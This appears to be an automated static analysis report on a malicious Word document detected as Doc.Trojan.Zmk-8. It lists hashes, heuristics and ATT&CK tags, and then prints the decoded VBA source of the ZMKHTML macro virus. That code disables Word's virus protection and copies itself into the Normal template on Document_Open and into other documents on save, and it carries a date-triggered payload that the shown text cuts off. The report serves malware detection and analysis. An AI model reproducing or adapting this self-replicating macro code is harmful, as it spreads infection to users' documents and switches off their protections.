Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 708f6c4bebfab060…

MALICIOUS

Office (OLE)

78.5 KB Created: 1999-03-11 20:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cc4a5291c68da57378b1e7d3e489cf9b SHA-1: 187750079245c339abd0c9c858f400344f101ef2 SHA-256: 708f6c4bebfab0605cf66b8bfd709a0b599b7ba8d705ddcbb57ec38d7c026eca
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macro markers and VBA macros, including a Document_Open macro. This macro attempts to export other VBA components to temporary files and then import them into the Normal template, suggesting an attempt to establish persistence or install further malicious functionality. The ClamAV detection as 'Doc.Trojan.Zmk-8' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Zmk-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Zmk-8
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30339 bytes
SHA-256: 96df667f7a75d29eacbef80d5af9a1a10b5c0bd2eb25b5f78aa414f26424781f
Detection
ClamAV: Doc.Trojan.Zmk-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZMKHTML"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrDO
iMacroNTCount = NormalTemplate.VBProject.VBComponents.Count
For i = 1 To iMacroNTCount
    If NormalTemplate.VBProject.VBComponents(i).Name = "ZMKHTML" Then
        ZMKHTMLInstalled = -1
    End If
Next i
If Not ZMKHTMLInstalled Then
    ActiveDocument.VBProject.VBComponents("ZMKHTML").Export "C:\Msdos.win"
    ActiveDocument.VBProject.VBComponents("About").Export "C:\Win.dos"
    ActiveDocument.VBProject.VBComponents("Propos").Export "C:\Dos.win"
    NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "C:\Msdos.win"
    NormalTemplate.VBProject.VBComponents("ZMKHTML").CodeModule.DeleteLines 1, 4
    NormalTemplate.VBProject.VBComponents.Import "C:\Win.dos"
    NormalTemplate.VBProject.VBComponents.Import "C:\Dos.win"
End If
ErrDO:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrFSA
Dialogs(wdDialogFileSaveAs).Show
If (ActiveDocument.SaveFormat = wdFormatTemplate) Or (ActiveDocument.SaveFormat = wdFormatDocument) Then
    ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
End If
iMacroDCount = ActiveDocument.VBProject.VBComponents.Count
For i = 1 To iMacroDCount
    If ActiveDocument.VBProject.VBComponents(i).Name = "ZMKHTML" Then
        ZMKHTMLDocInstalled = -1
    End If
Next i
If Not ZMKHTMLDocInstalled Then
    NormalTemplate.VBProject.VBComponents("ZMKHTML").Export "C:\Msdos.win"
    NormalTemplate.VBProject.VBComponents("About").Export "C:\Win.dos"
    NormalTemplate.VBProject.VBComponents("Propos").Export "C:\Dos.win"
    ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "C:\Msdos.win"
    ActiveDocument.VBProject.VBComponents("ZMKHTML").CodeModule.DeleteLines 1, 4
    ActiveDocument.VBProject.VBComponents.Import "C:\Win.dos"
    ActiveDocument.VBProject.VBComponents.Import "C:\Win.dos"
    ActiveDocument.Save
End If
ErrFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFTem
If System.LanguageDesignation = "Français (standard)" Then
    MsgBox "Fonction Sub Inconnu", vbCritical, "Microsoft Word"
Else
    MsgBox "Sub Function unknown", vbCritical, "Microsoft Word"
End If
ErrorFTem:
End Sub
Sub HelpAbout()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorHelpAbout
If System.LanguageDesignation = "Français (standard)" Then
    Propos.Show
Else
    About.Show
End If
ErrorHelpAbout:
End Sub
Sub AutoExit()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFEx
Dim MyDate, MyTime
MyDate = Date
MyTime = Time
D1$ = Mid(MyDate, 1, 2)
D2$ = Mid(MyDate, 4, 5)
T1$ = Mid(MyTime, 4, 5)
If (D1$ = "13") And (D2$ = "01") Then
Open "C:\ZMKHTML.htm" For Output As #1
    Print #1, "<HTML>"
    Print #1, "<HEAD>"
    Print #1, "<META HTTP-EQUIV=""Content-Type"" CONTENT=""text/html; charset=windows-1252"">"
    Print #1, "<TITLE>Virus ZMKHTML</TITLE>"
    Print #1, "<body bgcolor=""blue"" >"
    Print #1, "<p><font size=""6""><strong><MARQUEE behavior=""alternate"">Le 13, ce n'est pas de chance pour vous aujourd'hui!!!!!</MARQUEE></font></p>"
    Print #1, "<p>&nbsp;</p>"
    Print #1, ""
    Print #1, "<p>&nbsp;</p>"
    Print #1, ""
    Print #1, "<p><font size=""7""><
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.